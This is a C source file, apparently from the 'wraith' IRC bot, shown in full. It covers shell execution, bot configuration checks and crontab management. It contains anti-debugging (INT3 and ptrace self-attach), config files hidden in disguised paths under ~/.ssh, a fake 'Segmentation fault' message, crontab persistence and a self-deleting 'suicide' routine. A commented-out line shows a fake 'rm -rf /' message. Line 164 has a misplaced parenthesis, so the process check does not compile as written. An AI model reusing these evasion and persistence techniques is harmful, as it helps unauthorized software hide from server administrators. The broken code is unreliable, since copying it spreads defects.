shell.c 27 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098
  1. /*
  2. * shell.c -- handles:
  3. *
  4. * All shell related functions
  5. * -shell_exec()
  6. * -botconfig parsing
  7. * -check_*()
  8. * -crontab functions
  9. *
  10. */
  11. #include "common.h"
  12. #include "shell.h"
  13. #include "cfg.h"
  14. #include "flags.h"
  15. #include "tandem.h"
  16. #include "main.h"
  17. #include "dccutil.h"
  18. #include "modules.h"
  19. #include "misc.h"
  20. #include "misc_file.h"
  21. #include "bg.h"
  22. #include "stat.h"
  23. #include "users.h"
  24. #include <sys/types.h>
  25. #include <pwd.h>
  26. #include <signal.h>
  27. #ifdef S_ANTITRACE
  28. #include <sys/ptrace.h>
  29. #include <sys/wait.h>
  30. #endif /* S_ANTITRACE */
  31. #include <sys/utsname.h>
  32. #include <pwd.h>
  33. #include <errno.h>
  34. #include <net/if.h>
  35. #include <sys/ioctl.h>
  36. #include <sys/socket.h>
  37. #include <libgen.h>
  38. #include <ctype.h>
  39. #include <fcntl.h>
  40. #include <sys/stat.h>
  41. #include <unistd.h>
  42. #include <dirent.h>
  43. extern struct cfg_entry CFG_LOGIN, CFG_BADPROCESS, CFG_PROCESSLIST, CFG_PROMISC,
  44. CFG_TRACE, CFG_HIJACK;
  45. extern char tempdir[], *binname, owneremail[], userfile[];
  46. extern time_t now;
  47. extern struct userrec *userlist;
  48. extern uid_t myuid;
  49. extern conf_t conf;
  50. int clear_tmp()
  51. {
  52. DIR *tmp = NULL;
  53. struct dirent *dir_ent = NULL;
  54. if (!(tmp = opendir(tempdir))) return 1;
  55. while ((dir_ent = readdir(tmp))) {
  56. if (strncmp(dir_ent->d_name, ".pid.", 4) && strncmp(dir_ent->d_name, ".u", 2) && strcmp(dir_ent->d_name, ".bin.old")
  57. && strcmp(dir_ent->d_name, ".") && strcmp(dir_ent->d_name, ".un") && strcmp(dir_ent->d_name, "..")) {
  58. char *file = NULL;
  59. file = calloc(1, strlen(dir_ent->d_name) + strlen(tempdir) + 1);
  60. strcat(file, tempdir);
  61. strcat(file, dir_ent->d_name);
  62. file[strlen(file)] = 0;
  63. sdprintf("clear_tmp: %s", file);
  64. unlink(file);
  65. free(file);
  66. }
  67. }
  68. closedir(tmp);
  69. return 0;
  70. }
  71. #ifdef LEAF
  72. void check_mypid()
  73. {
  74. if (getpid() != checkpid(conf.bot->nick, NULL)) {
  75. module_entry *me = NULL;
  76. fatal(STR("getpid() does not match pid in file. Possible cloned process, exiting.."), 1);
  77. if ((me = module_find("server", 0, 0))) {
  78. Function *func = me->funcs;
  79. (func[SERVER_NUKESERVER]) ("cloned process");
  80. }
  81. botnet_send_bye();
  82. exit(1);
  83. }
  84. }
  85. #endif /* LEAF */
  86. #ifdef S_LASTCHECK
  87. char last_buf[128] = "";
  88. #endif /* S_LASTCHECK */
  89. void check_last() {
  90. #ifdef S_LASTCHECK
  91. if (!strcmp((char *) CFG_LOGIN.ldata ? CFG_LOGIN.ldata : CFG_LOGIN.gdata ? CFG_LOGIN.gdata : "ignore", "ignore"))
  92. return;
  93. if (conf.username) {
  94. char *out = NULL, buf[50] = "";
  95. sprintf(buf, STR("last %s"), conf.username);
  96. if (shell_exec(buf, NULL, &out, NULL)) {
  97. if (out) {
  98. char *p = NULL;
  99. p = strchr(out, '\n');
  100. if (p)
  101. *p = 0;
  102. if (strlen(out) > 10) {
  103. if (last_buf[0]) {
  104. if (strncmp(last_buf, out, sizeof(last_buf))) {
  105. char *work = NULL;
  106. work = malloc(strlen(out) + 7 + 2 + 1);
  107. sprintf(work, "Login: %s", out);
  108. detected(DETECT_LOGIN, work);
  109. free(work);
  110. }
  111. }
  112. strncpyz(last_buf, out, sizeof(last_buf));
  113. }
  114. free(out);
  115. }
  116. }
  117. }
  118. #endif /* S_LASTCHECK */
  119. }
  120. void check_processes()
  121. {
  122. #ifdef S_PROCESSCHECK
  123. char *proclist = NULL, *out = NULL, *p = NULL, *np = NULL, *curp = NULL, buf[1024] = "", bin[128] = "";
  124. if (!strcmp((char *) CFG_BADPROCESS.ldata ? CFG_BADPROCESS.ldata : CFG_BADPROCESS.gdata ? CFG_BADPROCESS.gdata : "ignore", "ignore"))
  125. return;
  126. proclist = (char *) (CFG_PROCESSLIST.ldata && ((char *) CFG_PROCESSLIST.ldata)[0] ?
  127. CFG_PROCESSLIST.ldata : CFG_PROCESSLIST.gdata && ((char *) CFG_PROCESSLIST.gdata)[0] ? CFG_PROCESSLIST.gdata : NULL);
  128. if (!proclist)
  129. return;
  130. if (!shell_exec(STR("ps x"), NULL, &out, NULL))
  131. return;
  132. /* Get this binary's filename */
  133. strncpyz(buf, binname, sizeof(buf));
  134. p = strrchr(buf, '/');
  135. if (p) {
  136. p++;
  137. strncpyz(bin, p, sizeof(bin));
  138. } else {
  139. bin[0] = 0;
  140. }
  141. /* Fix up the "permitted processes" list */
  142. p = calloc(1, strlen(proclist) + strlen(bin) + 6);
  143. strcpy(p, proclist);
  144. strcat(p, " ");
  145. strcat(p, bin);
  146. strcat(p, " ");
  147. proclist = p;
  148. curp = out;
  149. while (curp) {
  150. np = strchr(curp, '\n');
  151. if (np)
  152. *np++ = 0;
  153. if (atoi(curp) > 0) {
  154. char *pid = NULL, *tty = NULL, *stat = NULL, *time = NULL, cmd[512] = "", line[2048] = "";
  155. strncpyz(line, curp, sizeof(line));
  156. /* it's a process line */
  157. /* Assuming format: pid tty stat time cmd */
  158. pid = newsplit(&curp);
  159. tty = newsplit(&curp);
  160. stat = newsplit(&curp);
  161. time = newsplit(&curp);
  162. strncpyz(cmd, curp, sizeof(cmd));
  163. /* skip any <defunct> procs "/bin/sh -c" crontab stuff and binname crontab stuff */
  164. if (!strstr(cmd, "<defunct>" && !strncmp(cmd, "/bin/sh -c", 10)
  165. && !strncmp(cmd, binname, strlen(binname))) {
  166. /* get rid of any args */
  167. if ((p = strchr(cmd, ' ')))
  168. *p = 0;
  169. /* remove [] or () */
  170. if (strlen(cmd)) {
  171. p = cmd + strlen(cmd) - 1;
  172. if (((cmd[0] == '(') && (*p == ')')) || ((cmd[0] == '[') && (*p == ']'))) {
  173. *p = 0;
  174. strcpy(buf, cmd + 1);
  175. strcpy(cmd, buf);
  176. }
  177. }
  178. /* remove path */
  179. if ((p = strrchr(cmd, '/'))) {
  180. p++;
  181. strcpy(buf, p);
  182. strcpy(cmd, buf);
  183. }
  184. /* skip "ps" */
  185. if (strcmp(cmd, "ps")) {
  186. /* see if proc's in permitted list */
  187. strcat(cmd, " ");
  188. if ((p = strstr(proclist, cmd))) {
  189. /* Remove from permitted list */
  190. while (*p != ' ')
  191. *p++ = 1;
  192. } else {
  193. char wrk[16384] = "";
  194. egg_snprintf(wrk, sizeof wrk, STR("Unexpected process: %s"), line);
  195. detected(DETECT_PROCESS, wrk);
  196. }
  197. }
  198. }
  199. }
  200. curp = np;
  201. }
  202. free(proclist);
  203. if (out)
  204. free(out);
  205. #endif /* S_PROCESSCHECK */
  206. }
  207. void check_promisc()
  208. {
  209. #ifdef S_PROMISC
  210. #ifdef SIOCGIFCONF
  211. struct ifreq ifreq, *ifr = NULL;
  212. struct ifconf ifcnf;
  213. char *cp = NULL, *cplim = NULL, buf[8192] = "";
  214. int sock;
  215. if (!strcmp((char *) CFG_PROMISC.ldata ? CFG_PROMISC.ldata : CFG_PROMISC.gdata ? CFG_PROMISC.gdata : "ignore", "ignore"))
  216. return;
  217. sock = socket(AF_INET, SOCK_STREAM, 0);
  218. ifcnf.ifc_len = 8191;
  219. ifcnf.ifc_buf = buf;
  220. if (ioctl(sock, SIOCGIFCONF, (char *) &ifcnf) < 0) {
  221. close(sock);
  222. return;
  223. }
  224. ifr = ifcnf.ifc_req;
  225. cplim = buf + ifcnf.ifc_len;
  226. for (cp = buf; cp < cplim; cp += sizeof(ifr->ifr_name) + sizeof(ifr->ifr_addr)) {
  227. ifr = (struct ifreq *) cp;
  228. ifreq = *ifr;
  229. if (!ioctl(sock, SIOCGIFFLAGS, (char *) &ifreq)) {
  230. if (ifreq.ifr_flags & IFF_PROMISC) {
  231. close(sock);
  232. detected(DETECT_PROMISC, STR("Detected promiscuous mode"));
  233. return;
  234. }
  235. }
  236. }
  237. close(sock);
  238. #endif /* SIOCGIFCONF */
  239. #endif /* S_PROMISC */
  240. }
  241. #ifdef S_ANTITRACE
  242. int traced = 0;
  243. static void got_trace(int z)
  244. {
  245. traced = 0;
  246. }
  247. #endif /* S_ANTITRACE */
  248. void check_trace()
  249. {
  250. #ifdef S_ANTITRACE
  251. int x, parent, i;
  252. struct sigaction sv, *oldsv = NULL;
  253. if (!strcmp((char *) CFG_TRACE.ldata ? CFG_TRACE.ldata : CFG_TRACE.gdata ? CFG_TRACE.gdata : "ignore", "ignore"))
  254. return;
  255. parent = getpid();
  256. #ifdef __linux__
  257. egg_bzero(&sv, sizeof(sv));
  258. sv.sa_handler = got_trace;
  259. sigemptyset(&sv.sa_mask);
  260. oldsv = NULL;
  261. sigaction(SIGTRAP, &sv, oldsv);
  262. traced = 1;
  263. asm("INT3");
  264. sigaction(SIGTRAP, oldsv, NULL);
  265. if (traced)
  266. detected(DETECT_TRACE, STR("I'm being traced!"));
  267. else {
  268. x = fork();
  269. if (x == -1)
  270. return;
  271. else if (x == 0) {
  272. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  273. if (i == (-1) && errno == EPERM)
  274. detected(DETECT_TRACE, STR("I'm being traced!"));
  275. else {
  276. waitpid(parent, &i, 0);
  277. kill(parent, SIGCHLD);
  278. ptrace(PTRACE_DETACH, parent, 0, 0);
  279. kill(parent, SIGCHLD);
  280. }
  281. exit(0);
  282. } else
  283. wait(&i);
  284. }
  285. #endif /* __linux__ */
  286. #ifdef __FreeBSD__
  287. x = fork();
  288. if (x == -1)
  289. return;
  290. else if (x == 0) {
  291. i = ptrace(PT_ATTACH, parent, 0, 0);
  292. if (i == (-1) && errno == EBUSY)
  293. detected(DETECT_TRACE, STR("I'm being traced"));
  294. else {
  295. wait(&i);
  296. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  297. kill(parent, SIGCHLD);
  298. wait(&i);
  299. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  300. wait(&i);
  301. }
  302. exit(0);
  303. } else
  304. waitpid(x, NULL, 0);
  305. #endif /* __FreeBSD__ */
  306. #ifdef __OpenBSD__
  307. x = fork();
  308. if (x == -1)
  309. return;
  310. else if (x == 0) {
  311. i = ptrace(PT_ATTACH, parent, 0, 0);
  312. if (i == (-1) && errno == EBUSY)
  313. detected(DETECT_TRACE, STR("I'm being traced"));
  314. else {
  315. wait(&i);
  316. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  317. kill(parent, SIGCHLD);
  318. wait(&i);
  319. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  320. wait(&i);
  321. }
  322. exit(0);
  323. } else
  324. waitpid(x, NULL, 0);
  325. #endif /* __OpenBSD__ */
  326. #endif /* S_ANTITRACE */
  327. }
  328. int shell_exec(char *cmdline, char *input, char **output, char **erroutput)
  329. {
  330. FILE *inpFile = NULL, *outFile = NULL, *errFile = NULL;
  331. char tmpfile[161] = "";
  332. int x, fd;
  333. int parent = getpid();
  334. if (!cmdline)
  335. return 0;
  336. /* Set up temp files */
  337. /* always use mkstemp() when handling temp filess! -dizz */
  338. sprintf(tmpfile, STR("%s.in-XXXXXX"), tempdir);
  339. if ((fd = mkstemp(tmpfile)) == -1 || (inpFile = fdopen(fd, "w+")) == NULL) {
  340. if (fd != -1) {
  341. unlink(tmpfile);
  342. close(fd);
  343. }
  344. putlog(LOG_ERRORS, "*" , STR("exec: Couldn't open '%s': %s"), tmpfile, strerror(errno));
  345. return 0;
  346. }
  347. unlink(tmpfile);
  348. if (input) {
  349. if (fwrite(input, 1, strlen(input), inpFile) != strlen(input)) {
  350. fclose(inpFile);
  351. putlog(LOG_ERRORS, "*", STR("exec: Couldn't write to '%s': %s"), tmpfile, strerror(errno));
  352. return 0;
  353. }
  354. fseek(inpFile, 0, SEEK_SET);
  355. }
  356. unlink(tmpfile);
  357. sprintf(tmpfile, STR("%s.err-XXXXXX"), tempdir);
  358. if ((fd = mkstemp(tmpfile)) == -1 || (errFile = fdopen(fd, "w+")) == NULL) {
  359. if (fd != -1) {
  360. unlink(tmpfile);
  361. close(fd);
  362. }
  363. putlog(LOG_ERRORS, "*", STR("exec: Couldn't open '%s': %s"), tmpfile, strerror(errno));
  364. return 0;
  365. }
  366. unlink(tmpfile);
  367. sprintf(tmpfile, STR("%s.out-XXXXXX"), tempdir);
  368. if ((fd = mkstemp(tmpfile)) == -1 || (outFile = fdopen(fd, "w+")) == NULL) {
  369. if (fd != -1) {
  370. unlink(tmpfile);
  371. close(fd);
  372. }
  373. putlog(LOG_ERRORS, "*", STR("exec: Couldn't open '%s': %s"), tmpfile, strerror(errno));
  374. return 0;
  375. }
  376. unlink(tmpfile);
  377. x = fork();
  378. if (x == -1) {
  379. putlog(LOG_ERRORS, "*", STR("exec: fork() failed: %s"), strerror(errno));
  380. fclose(inpFile);
  381. fclose(errFile);
  382. fclose(outFile);
  383. return 0;
  384. }
  385. if (x) {
  386. /* Parent: wait for the child to complete */
  387. int st = 0;
  388. waitpid(x, &st, 0);
  389. /* Now read the files into the buffers */
  390. fclose(inpFile);
  391. fflush(outFile);
  392. fflush(errFile);
  393. if (erroutput) {
  394. char *buf = NULL;
  395. int fs;
  396. fseek(errFile, 0, SEEK_END);
  397. fs = ftell(errFile);
  398. if (fs == 0) {
  399. (*erroutput) = NULL;
  400. } else {
  401. buf = calloc(1, fs + 1);
  402. fseek(errFile, 0, SEEK_SET);
  403. fread(buf, 1, fs, errFile);
  404. buf[fs] = 0;
  405. (*erroutput) = buf;
  406. }
  407. }
  408. fclose(errFile);
  409. if (output) {
  410. char *buf;
  411. int fs;
  412. fseek(outFile, 0, SEEK_END);
  413. fs = ftell(outFile);
  414. if (fs == 0) {
  415. (*output) = NULL;
  416. } else {
  417. buf = calloc(1, fs + 1);
  418. fseek(outFile, 0, SEEK_SET);
  419. fread(buf, 1, fs, outFile);
  420. buf[fs] = 0;
  421. (*output) = buf;
  422. }
  423. }
  424. fclose(outFile);
  425. return 1;
  426. } else {
  427. /* Child: make fd's and set them up as std* */
  428. int ind, outd, errd;
  429. char *argv[4] = { NULL, NULL, NULL, NULL };
  430. ind = fileno(inpFile);
  431. outd = fileno(outFile);
  432. errd = fileno(errFile);
  433. if (dup2(ind, STDIN_FILENO) == (-1)) {
  434. kill(parent, SIGCHLD);
  435. exit(1);
  436. }
  437. if (dup2(outd, STDOUT_FILENO) == (-1)) {
  438. kill(parent, SIGCHLD);
  439. exit(1);
  440. }
  441. if (dup2(errd, STDERR_FILENO) == (-1)) {
  442. kill(parent, SIGCHLD);
  443. exit(1);
  444. }
  445. argv[0] = "sh";
  446. argv[1] = "-c";
  447. argv[2] = cmdline;
  448. argv[3] = NULL;
  449. execvp(argv[0], &argv[0]);
  450. kill(parent, SIGCHLD);
  451. exit(1);
  452. }
  453. }
  454. void detected(int code, char *msg)
  455. {
  456. #ifdef LEAF
  457. module_entry *me = NULL;
  458. #endif /* LEAF */
  459. char *p = NULL, tmp[512] = "";
  460. struct userrec *u = NULL;
  461. struct flag_record fr = { FR_GLOBAL, 0, 0, 0, 0};
  462. int act;
  463. u = get_user_by_handle(userlist, conf.bot->nick);
  464. #ifdef S_LASTCHECK
  465. if (code == DETECT_LOGIN)
  466. p = (char *) (CFG_LOGIN.ldata ? CFG_LOGIN.ldata : (CFG_LOGIN.gdata ? CFG_LOGIN.gdata : NULL));
  467. #endif /* S_LASTCHECK */
  468. #ifdef S_ANTITRACE
  469. if (code == DETECT_TRACE)
  470. p = (char *) (CFG_TRACE.ldata ? CFG_TRACE.ldata : (CFG_TRACE.gdata ? CFG_TRACE.gdata : NULL));
  471. #endif /* S_ANTITRACE */
  472. #ifdef S_PROMISC
  473. if (code == DETECT_PROMISC)
  474. p = (char *) (CFG_PROMISC.ldata ? CFG_PROMISC.ldata : (CFG_PROMISC.gdata ? CFG_PROMISC.gdata : NULL));
  475. #endif /* S_PROMISC */
  476. #ifdef S_PROCESSCHECK
  477. if (code == DETECT_PROCESS)
  478. p = (char *) (CFG_BADPROCESS.ldata ? CFG_BADPROCESS.ldata : (CFG_BADPROCESS.gdata ? CFG_BADPROCESS.gdata : NULL));
  479. #endif /* S_PROMISC */
  480. #ifdef S_HIJACKCHECK
  481. if (code == DETECT_SIGCONT)
  482. p = (char *) (CFG_HIJACK.ldata ? CFG_HIJACK.ldata : (CFG_HIJACK.gdata ? CFG_HIJACK.gdata : NULL));
  483. #endif /* S_PROMISC */
  484. if (!p)
  485. act = DET_WARN;
  486. else if (!strcmp(p, STR("die")))
  487. act = DET_DIE;
  488. else if (!strcmp(p, STR("reject")))
  489. act = DET_REJECT;
  490. else if (!strcmp(p, STR("suicide")))
  491. act = DET_SUICIDE;
  492. else if (!strcmp(p, STR("ignore")))
  493. act = DET_IGNORE;
  494. else
  495. act = DET_WARN;
  496. switch (act) {
  497. case DET_IGNORE:
  498. break;
  499. case DET_WARN:
  500. putlog(LOG_WARN, "*", msg);
  501. break;
  502. case DET_REJECT:
  503. do_fork();
  504. putlog(LOG_WARN, "*", STR("Setting myself +d: %s"), msg);
  505. sprintf(tmp, STR("+d: %s"), msg);
  506. set_user(&USERENTRY_COMMENT, u, tmp);
  507. get_user_flagrec(u, &fr, 0);
  508. fr.global = USER_DEOP | USER_BOT;
  509. set_user_flagrec(u, &fr, 0);
  510. sleep(1);
  511. break;
  512. case DET_DIE:
  513. putlog(LOG_WARN, "*", STR("Dying: %s"), msg);
  514. sprintf(tmp, STR("Dying: %s"), msg);
  515. set_user(&USERENTRY_COMMENT, u, tmp);
  516. #ifdef LEAF
  517. if ((me = module_find("server", 0, 0))) {
  518. Function *func = me->funcs;
  519. (func[SERVER_NUKESERVER]) ("BBL");
  520. }
  521. #endif /* LEAF */
  522. sleep(1);
  523. fatal(msg, 0);
  524. break;
  525. case DET_SUICIDE:
  526. putlog(LOG_WARN, "*", STR("Comitting suicide: %s"), msg);
  527. sprintf(tmp, STR("Suicide: %s"), msg);
  528. set_user(&USERENTRY_COMMENT, u, tmp);
  529. #ifdef LEAF
  530. if ((me = module_find("server", 0, 0))) {
  531. Function *func = me->funcs;
  532. (func[SERVER_NUKESERVER]) ("HARAKIRI!!");
  533. }
  534. #endif /* LEAF */
  535. sleep(1);
  536. unlink(binname);
  537. #ifdef HUB
  538. unlink(userfile);
  539. sprintf(tmp, STR("%s~"), userfile);
  540. unlink(tmp);
  541. #endif /* HUB */
  542. fatal(msg, 0);
  543. break;
  544. }
  545. }
  546. char *werr_tostr(int errnum)
  547. {
  548. switch (errnum) {
  549. case ERR_BINSTAT:
  550. return STR("Cannot access binary");
  551. case ERR_BADPASS:
  552. return STR("Incorrect password");
  553. case ERR_BINMOD:
  554. return STR("Cannot chmod() binary");
  555. case ERR_PASSWD:
  556. return STR("Cannot access the global passwd file");
  557. case ERR_WRONGBINDIR:
  558. return STR("Wrong directory/binary name");
  559. case ERR_CONFSTAT:
  560. #ifdef LEAF
  561. return STR("Cannot access config directory (~/.ssh/)");
  562. #else
  563. return STR("Cannot access config directory (./)");
  564. #endif /* LEAF */
  565. case ERR_TMPSTAT:
  566. #ifdef LEAF
  567. return STR("Cannot access tmp directory (~/.ssh/.../)");
  568. #else
  569. return STR("Cannot access config directory (./tmp/)");
  570. #endif /* LEAF */
  571. case ERR_CONFDIRMOD:
  572. #ifdef LEAF
  573. return STR("Cannot chmod() config directory (~/.ssh/)");
  574. #else
  575. return STR("Cannot chmod() config directory (./)");
  576. #endif /* LEAF */
  577. case ERR_CONFMOD:
  578. #ifdef LEAF
  579. return STR("Cannot chmod() config (~/.ssh/.known_hosts/)");
  580. #else
  581. return STR("Cannot chmod() config (./conf)");
  582. #endif /* LEAF */
  583. case ERR_TMPMOD:
  584. #ifdef LEAF
  585. return STR("Cannot chmod() tmp directory (~/.ssh/.../)");
  586. #else
  587. return STR("Cannot chmod() tmp directory (./tmp)");
  588. #endif /* LEAF */
  589. case ERR_NOCONF:
  590. #ifdef LEAF
  591. return STR("The local config is missing (~/.ssh/.known_hosts)");
  592. #else
  593. return STR("The local config is missing (./conf)");
  594. #endif /* LEAF */
  595. case ERR_CONFBADENC:
  596. return STR("Encryption in config is wrong/corrupt");
  597. case ERR_WRONGUID:
  598. return STR("UID in conf does not match geteuid()");
  599. case ERR_WRONGUNAME:
  600. return STR("Uname in conf does not match uname()");
  601. case ERR_BADCONF:
  602. return STR("Config file is incomplete");
  603. case ERR_BADBOT:
  604. return STR("No such botnick");
  605. case ERR_BOTDISABLED:
  606. return STR("Bot is disabled, remove '/' in config");
  607. case ERR_NOBOTS:
  608. return STR("There are no bots in the config! Please use ./binary -C to edit");
  609. default:
  610. return STR("Unforseen error");
  611. }
  612. }
  613. void werr(int errnum)
  614. {
  615. /* [1]+ Done ls --color=auto -A -CF
  616. [1]+ Killed bash
  617. */
  618. /*
  619. int x = 0;
  620. unsigned long job = randint(2) + 1; */
  621. /* printf("[%lu] %lu%lu%lu%lu%lu\n", job, randint(2) + 1, randint(8) + 1, randint(8) + 1, errnum); */
  622. /* printf("\n[%lu]+ Killed rm -rf /\r\n", job); */
  623. /*
  624. if (checkedpass) {
  625. printf("[%lu] %d\n", job, getpid());
  626. }
  627. */
  628. /* printf("\n[%lu]+ Stopped %s\r\n", job, basename(binname)); */
  629. sdprintf(STR("Error %d: %s"), errnum, werr_tostr(errnum));
  630. printf(STR("*** Error code %d\n\n"), errnum);
  631. printf(STR("Segmentation fault\n"));
  632. fatal("", 0);
  633. }
  634. int email(char *subject, char *msg, int who)
  635. {
  636. struct utsname un;
  637. char open[2048] = "", addrs[1024] = "";
  638. int mail = 0, sendmail = 0;
  639. FILE *f = NULL;
  640. uname(&un);
  641. if (is_file("/usr/sbin/sendmail"))
  642. sendmail++;
  643. else if (is_file("/usr/bin/mail"))
  644. mail++;
  645. else {
  646. putlog(LOG_WARN, "*", "I Have no usable mail client.");
  647. return 1;
  648. }
  649. if (who & EMAIL_OWNERS) {
  650. sprintf(addrs, "%s", replace(owneremail, ",", " "));
  651. }
  652. if (who & EMAIL_TEAM) {
  653. if (addrs[0])
  654. sprintf(addrs, "%s wraith@shatow.net", addrs);
  655. else
  656. sprintf(addrs, "wraith@shatow.net");
  657. }
  658. if (sendmail)
  659. sprintf(open, "/usr/sbin/sendmail -t");
  660. else if (mail)
  661. sprintf(open, "/usr/bin/mail %s -a \"From: %s@%s\" -s \"%s\" -a \"Content-Type: text/plain\"", addrs, conf.bot->nick ? conf.bot->nick : "none", un.nodename, subject);
  662. if ((f = popen(open, "w"))) {
  663. if (sendmail) {
  664. fprintf(f, "To: %s\n", addrs);
  665. fprintf(f, "From: %s@%s\n", conf.bot->nick ? conf.bot->nick : conf.username, un.nodename);
  666. fprintf(f, "Subject: %s\n", subject);
  667. fprintf(f, "Content-Type: text/plain\n");
  668. }
  669. fprintf(f, "%s\n", msg);
  670. if (fflush(f))
  671. return 1;
  672. if (pclose(f))
  673. return 1;
  674. } else
  675. return 1;
  676. return 0;
  677. }
  678. void baduname(char *confhas, char *my_uname) {
  679. char *tmpfile = NULL;
  680. int send = 0;
  681. tmpfile = malloc(strlen(tempdir) + 3 + 1);
  682. sprintf(tmpfile, "%s.un", tempdir);
  683. sdprintf("CHECKING %s", tmpfile);
  684. if (is_file(tmpfile)) {
  685. struct stat ss;
  686. time_t diff;
  687. stat(tmpfile, &ss);
  688. diff = now - ss.st_mtime;
  689. if (diff >= 86400) send++; /* only send once a day */
  690. } else {
  691. FILE *fp = NULL;
  692. if ((fp = fopen(tmpfile, "w"))) {
  693. fprintf(fp, "\n");
  694. fflush(fp);
  695. fclose(fp);
  696. send++; /* only send if we could write the file. */
  697. }
  698. }
  699. if (send) {
  700. struct utsname un;
  701. char msg[501] = "", subject[31] = "";
  702. uname(&un);
  703. egg_snprintf(subject, sizeof subject, "CONF/UNAME() mismatch notice");
  704. egg_snprintf(msg, sizeof msg, "This is an auto email from a wraith bot which has you in it's OWNER_EMAIL list..\n \nThe uname() output on this box has changed, probably due to a kernel upgrade...\nMy login is: %s\nConf : %s\nUname(): %s\n \nThis email will only be sent once a day while this error is present.\nYou need to login to my shell (%s) and fix my local config.\n", conf.username, confhas, my_uname, un.nodename);
  705. email(subject, msg, EMAIL_OWNERS);
  706. }
  707. free(tmpfile);
  708. }
  709. char *homedir()
  710. {
  711. static char homedir[DIRMAX] = "";
  712. if (!homedir || (homedir && !homedir[0])) {
  713. char tmp[DIRMAX] = "";
  714. if (conf.homedir)
  715. egg_snprintf(tmp, sizeof tmp, "%s", conf.homedir);
  716. else {
  717. struct passwd *pw = NULL;
  718. ContextNote("getpwuid()");
  719. pw = getpwuid(myuid);
  720. egg_snprintf(tmp, sizeof tmp, "%s", pw->pw_dir);
  721. ContextNote("getpwuid(): Success");
  722. }
  723. ContextNote("realpath()");
  724. realpath(tmp, homedir); /* this will convert lame home dirs of /home/blah->/usr/home/blah */
  725. ContextNote("realpath(): Success");
  726. }
  727. return homedir;
  728. }
  729. char *my_username()
  730. {
  731. static char username[DIRMAX] = "";
  732. if (!username || (username && !username[0])) {
  733. if (conf.username)
  734. egg_snprintf(username, sizeof username, "%s", conf.username);
  735. else {
  736. struct passwd *pw = NULL;
  737. ContextNote("getpwuid()");
  738. pw = getpwuid(myuid);
  739. ContextNote("getpwuid(): Success");
  740. egg_snprintf(username, sizeof username, "%s", pw->pw_name);
  741. }
  742. }
  743. return username;
  744. }
  745. char *confdir()
  746. {
  747. static char confdir[DIRMAX] = "";
  748. if (!confdir || (confdir && !confdir[0])) {
  749. #ifdef LEAF
  750. {
  751. egg_snprintf(confdir, sizeof confdir, "%s/.ssh", homedir());
  752. }
  753. #endif /* LEAF */
  754. #ifdef HUB
  755. {
  756. char *buf = NULL;
  757. buf = strdup(binname);
  758. egg_snprintf(confdir, sizeof confdir, "%s", dirname(buf));
  759. free(buf);
  760. }
  761. #endif /* HUB */
  762. }
  763. return confdir;
  764. }
  765. char *my_uname()
  766. {
  767. static char os_uname[250] = "";
  768. if (!os_uname || (os_uname && !os_uname[0])) {
  769. char *unix_n = NULL, *vers_n = NULL;
  770. struct utsname un;
  771. if (uname(&un) < 0) {
  772. unix_n = "*unkown*";
  773. vers_n = "";
  774. } else {
  775. unix_n = un.nodename;
  776. #ifdef __FreeBSD__
  777. vers_n = un.release;
  778. #else /* __linux__ */
  779. vers_n = un.version;
  780. #endif /* __FreeBSD__ */
  781. }
  782. egg_snprintf(os_uname, sizeof os_uname, "%s %s", unix_n, vers_n);
  783. }
  784. return os_uname;
  785. }
  786. void check_crontab()
  787. {
  788. int i = 0;
  789. #ifdef LEAF
  790. if (!conf.bot->localhub)
  791. fatal(STR("something is wrong."), 0);
  792. #endif /* LEAF */
  793. if (!(i = crontab_exists())) {
  794. crontab_create(5);
  795. if (!(i = crontab_exists()))
  796. printf(STR("* Error writing crontab entry.\n"));
  797. }
  798. }
  799. void crontab_del() {
  800. char *tmpfile = NULL, *p = NULL, buf[2048] = "";
  801. tmpfile = malloc(strlen(binname) + 100);
  802. strcpy(tmpfile, binname);
  803. if (!(p = strrchr(tmpfile, '/')))
  804. return;
  805. p++;
  806. strcpy(p, ".ctb");
  807. sprintf(buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\" > %s"), binname, tmpfile);
  808. if (shell_exec(buf, NULL, NULL, NULL)) {
